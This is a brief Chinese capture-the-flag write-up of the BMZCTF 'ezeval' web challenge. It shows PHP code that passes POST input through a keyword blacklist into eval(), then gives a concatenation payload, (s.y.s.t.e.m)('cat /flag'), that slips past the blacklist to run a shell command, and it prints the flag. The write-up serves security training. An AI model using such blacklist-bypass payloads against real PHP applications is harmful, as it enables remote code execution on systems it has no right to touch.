标签:WEB 函数 BMZCTF 字符 ezeval 代码执行 字符串 绕过
打开页面,发现代码
<?php highlight_file(__FILE__); $cmd=$_POST['cmd']; $cmd=htmlspecialchars($cmd); $black_list=array('php','echo','`','preg','server','chr','decode','html','md5','post','get','file','session','ascii','eval','replace','assert','exec','cookie','$','include','var','print','scan','decode','system','func','ini_','passthru','pcntl','open','link','log','current','local','source','require','contents'); $cmd = str_ireplace($black_list,"BMZCTF",$cmd); eval($cmd); ?>
htmlspecialchars() :把预定义的字符转换为 HTML 实体。
str_ireplace() :替换字符串中的一些字符(不区分大小写)。
eval()函数:把字符串作为PHP代码执行。
思路:通过post传入命令执行语句,并绕过$black_list禁用的函数
拼接字符串绕过
cmd=(s.y.s.t.e.m)('cat /flag');
BMZCTF{74a708a23f23400a8fb1411618650763}
标签:WEB,函数,BMZCTF,字符,ezeval,代码执行,字符串,绕过 来源: https://www.cnblogs.com/SONGYUELV/p/15506022.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。